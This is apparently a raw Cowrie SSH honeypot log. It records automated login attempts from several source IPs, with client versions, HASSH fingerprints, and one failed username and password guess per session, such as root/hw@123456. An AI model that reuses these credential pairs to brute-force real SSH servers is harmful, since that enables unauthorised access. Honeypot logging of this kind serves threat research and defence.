{"eventid":"cowrie.login.failed","username":"deploy","password":"asdzxc","message":"login attempt [deploy/asdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:43.386203Z","src_ip":"43.156.170.155","session":"9b9aef641e86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:44.626155Z","src_ip":"43.156.170.155","session":"9b9aef641e86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":37162,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1fcb002e2f4","protocol":"ssh","message":"New connection: 176.147.144.172:37162 (159.203.135.109:22) [session: b1fcb002e2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:45.326742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:45.331633Z","src_ip":"176.147.144.172","session":"b1fcb002e2f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:45.428884Z","src_ip":"176.147.144.172","session":"b1fcb002e2f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123321","message":"login attempt [git/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:45.852586Z","src_ip":"176.147.144.172","session":"b1fcb002e2f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:46.952289Z","src_ip":"176.147.144.172","session":"b1fcb002e2f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":34576,"dst_ip":"10.17.0.5","dst_port":22,"session":"490ad5cf83b0","protocol":"ssh","message":"New connection: 41.181.156.205:34576 (10.17.0.5:22) [session: 490ad5cf83b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:47.759461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:47.764678Z","src_ip":"41.181.156.205","session":"490ad5cf83b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:48.006384Z","src_ip":"41.181.156.205","session":"490ad5cf83b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hw@123456","message":"login attempt [root/hw@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:48.996828Z","src_ip":"41.181.156.205","session":"490ad5cf83b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:22:50.241303Z","src_ip":"41.181.156.205","session":"490ad5cf83b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":58816,"dst_ip":"159.203.135.109","dst_port":22,"session":"676d803cf694","protocol":"ssh","message":"New connection: 194.113.233.25:58816 (159.203.135.109:22) [session: 676d803cf694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:21.287022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:21.291325Z","src_ip":"194.113.233.25","session":"676d803cf694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:21.384005Z","src_ip":"194.113.233.25","session":"676d803cf694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"electric","message":"login attempt [root/electric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:21.667345Z","src_ip":"194.113.233.25","session":"676d803cf694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:22.764009Z","src_ip":"194.113.233.25","session":"676d803cf694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":58078,"dst_ip":"10.17.0.5","dst_port":22,"session":"9812414c83b8","protocol":"ssh","message":"New connection: 165.154.5.173:58078 (10.17.0.5:22) [session: 9812414c83b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:29.064467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:29.069023Z","src_ip":"165.154.5.173","session":"9812414c83b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:29.286062Z","src_ip":"165.154.5.173","session":"9812414c83b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sri","password":"sri123","message":"login attempt [sri/sri123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:30.186238Z","src_ip":"165.154.5.173","session":"9812414c83b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:31.418131Z","src_ip":"165.154.5.173","session":"9812414c83b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":36782,"dst_ip":"159.203.135.109","dst_port":22,"session":"817af380e89a","protocol":"ssh","message":"New connection: 36.91.81.195:36782 (159.203.135.109:22) [session: 817af380e89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:32.470834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:32.476481Z","src_ip":"36.91.81.195","session":"817af380e89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:32.745881Z","src_ip":"36.91.81.195","session":"817af380e89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":55206,"dst_ip":"10.17.0.5","dst_port":22,"session":"153c0d3b7fd9","protocol":"ssh","message":"New connection: 46.253.45.10:55206 (10.17.0.5:22) [session: 153c0d3b7fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:32.908018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:32.913203Z","src_ip":"46.253.45.10","session":"153c0d3b7fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:33.038934Z","src_ip":"46.253.45.10","session":"153c0d3b7fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":54870,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b44435dba70","protocol":"ssh","message":"New connection: 103.77.242.62:54870 (159.203.135.109:22) [session: 7b44435dba70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:33.448976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:33.453799Z","src_ip":"103.77.242.62","session":"7b44435dba70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"P@ssw0rd","message":"login attempt [frontend/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:33.571112Z","src_ip":"46.253.45.10","session":"153c0d3b7fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:33.712565Z","src_ip":"103.77.242.62","session":"7b44435dba70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:33.855074Z","src_ip":"36.91.81.195","session":"817af380e89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25051989","message":"login attempt [root/25051989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:34.480654Z","src_ip":"103.77.242.62","session":"7b44435dba70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:34.700655Z","src_ip":"46.253.45.10","session":"153c0d3b7fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:35.128626Z","src_ip":"36.91.81.195","session":"817af380e89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:35.739178Z","src_ip":"103.77.242.62","session":"7b44435dba70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":5798,"dst_ip":"159.203.135.109","dst_port":22,"session":"44e214643620","protocol":"ssh","message":"New connection: 38.93.206.2:5798 (159.203.135.109:22) [session: 44e214643620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:41.904332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:41.908305Z","src_ip":"38.93.206.2","session":"44e214643620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:41.960103Z","src_ip":"38.93.206.2","session":"44e214643620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ilovetania","message":"login attempt [root/ilovetania] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:42.116469Z","src_ip":"38.93.206.2","session":"44e214643620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:43.169213Z","src_ip":"38.93.206.2","session":"44e214643620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":44346,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e9b971497f2","protocol":"ssh","message":"New connection: 2.57.121.112:44346 (159.203.135.109:22) [session: 5e9b971497f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:53.664895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:23:53.797582Z","src_ip":"2.57.121.112","session":"5e9b971497f2","protocol":"ssh"}
